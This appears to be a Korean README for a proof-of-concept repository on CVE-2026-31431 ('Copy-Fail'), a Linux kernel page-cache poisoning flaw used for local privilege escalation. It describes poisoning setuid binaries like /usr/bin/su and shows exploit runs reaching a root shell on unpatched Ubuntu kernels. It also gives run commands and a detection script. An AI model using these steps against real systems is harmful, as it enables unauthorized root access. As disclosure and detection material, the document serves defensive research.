
# CVE-2026-31431(Copy-Fail) 개념 증명 익스플로잇 Linux 커널의 AF_ALG 및 splice() 결함으로, 페이지 캐시 오염과 로컬 권한 상승을 가능하게 하는 취약점입니다. 분석, 실험실 결과 및 탐지 스크립트를 포함합니다.
이 저장소는 "Copy-Fail"로 널리 알려진 CVE-2026-31431 취약점에 대한 심층 분석, 개념 증명(PoC), 그리고 실험실 테스트 결과를 포함합니다.
Copy-Fail은 Linux 커널의 Crypto API(AF_ALG)와 splice() 시스템 콜의 결합에서 발생하는 로직 결함을 악용합니다. 이를 통해 권한이 없는 로컬 공격자가 페이지 캐시 오염(Page Cache Poisoning)을 수행하여 로컬 권한 상승(LPE)을 달성할 수 있습니다.
디스크의 파일을 수정하는 전통적인 익스플로잇과 달리, Copy-Fail은 페이지 캐시(RAM)를 직접 공격합니다. 파일을 읽으면 커널은 성능 향상을 위해 RAM에 복사본을 저장합니다. 특정 커널 버전의 authenc 알고리즘에 존재하는 메모리 관리 버그로 인해, 공격자는 커널을 속여 이러한 "읽기 전용" 메모리 페이지를 덮어쓸 수 있습니다.
/usr/bin/su와 같은 SETUID 바이너리의 메모리 페이지를 오염시킴으로써 인증을 우회하고 루트 셸을 획득할 수 있습니다.
여러 Ubuntu 배포판에서 테스트가 수행되었으며, 특히 커널 백포팅(backporting)과 패치 관리의 영향을 중점적으로 분석했습니다.
| 배포판 | 커널 버전 | 패치 날짜 | 결과 | 관찰 사항 |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | 2025년 10월 | ❌ 실패 | 보안 업데이트 활성화 |
| Ubuntu 22.04 | 5.15.0-125-generic | 2024년 9월 | ✅ 성공 | 취약함 (패치되지 않음) |
| Ubuntu 18.04 | 4.15.0-197-generic | 2022년 11월 | ✅ 성공 | 취약함 (패치되지 않음) |
커널 버전 번호는 오해를 불러일으킬 수 있습니다. 6.8과 같은 "최신" 커널은 보안 패치로 보호되는 반면, 4.15 및 5.15와 같은 구형 또는 EOL(수명 종료) 커널은 백포팅된 수정 사항이 없어 완전히 취약한 상태로 남아 있었습니다.
연구 과정에서 동일한 메이저 커널 버전을 공유하는 두 대의 서로 다른 Ubuntu 22.04 시스템을 테스트하여 놀라운 결과를 얻었습니다:
| 커널 버전 | 패치 날짜 |
|---|
이 테스트는 시스템 보안이 메이저 버전 번호만으로 측정될 수 없음을 증명합니다. 5.15.0-125를 실행하는 서버는 몇 초 만에 루트 권한을 획득할 수 있는 반면, 5.15.0-170은 공격을 완전히 차단합니다.
성공적인 익스플로잇 출력 (커널 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
PoC는 네이티브 os.splice 지원이 없는 Python 버전(특히 구버전)과의 호환성을 보장하기 위해 ctypes를 사용하여 개발되었습니다.
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. 커널 버전 확인
# uname -r
# 2. 로드된 모듈 확인 (출력이 없으면 안전)
# lsmod | grep -E "algif_aead|authencesn"
# 3. 중요 테스트 — authencesn 바인딩
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICAL — System Vulnerable!')
s.close()
except:
print('[+] Secure — authencesn unreachable')
"
# 4. setuid 바이너리 해시 (참조용)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
평가 테이블:
| 결과 | 의미 |
|---|---|
| lsmod 출력 없음 + 바인딩 오류 | ✅ 안전함 |
| lsmod 출력 존재 또는 바인딩 성공 | ⚠️ 취약함, 즉시 패치 적용 |
면책 조항: 이 연구와 PoC는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 승인되지 않은 시스템에서의 사용은 법적 결과를 초래할 수 있습니다.
| 결과 |
|---|
| 상태 |
|---|
| 5.15.0-125 | 2024년 9월 | ✅ 성공 | 취약함 (익스플로잇 트리거됨) |
| 5.15.0-170 | 2026년 1월 | ❌ 실패 | 안전함 (패치됨) |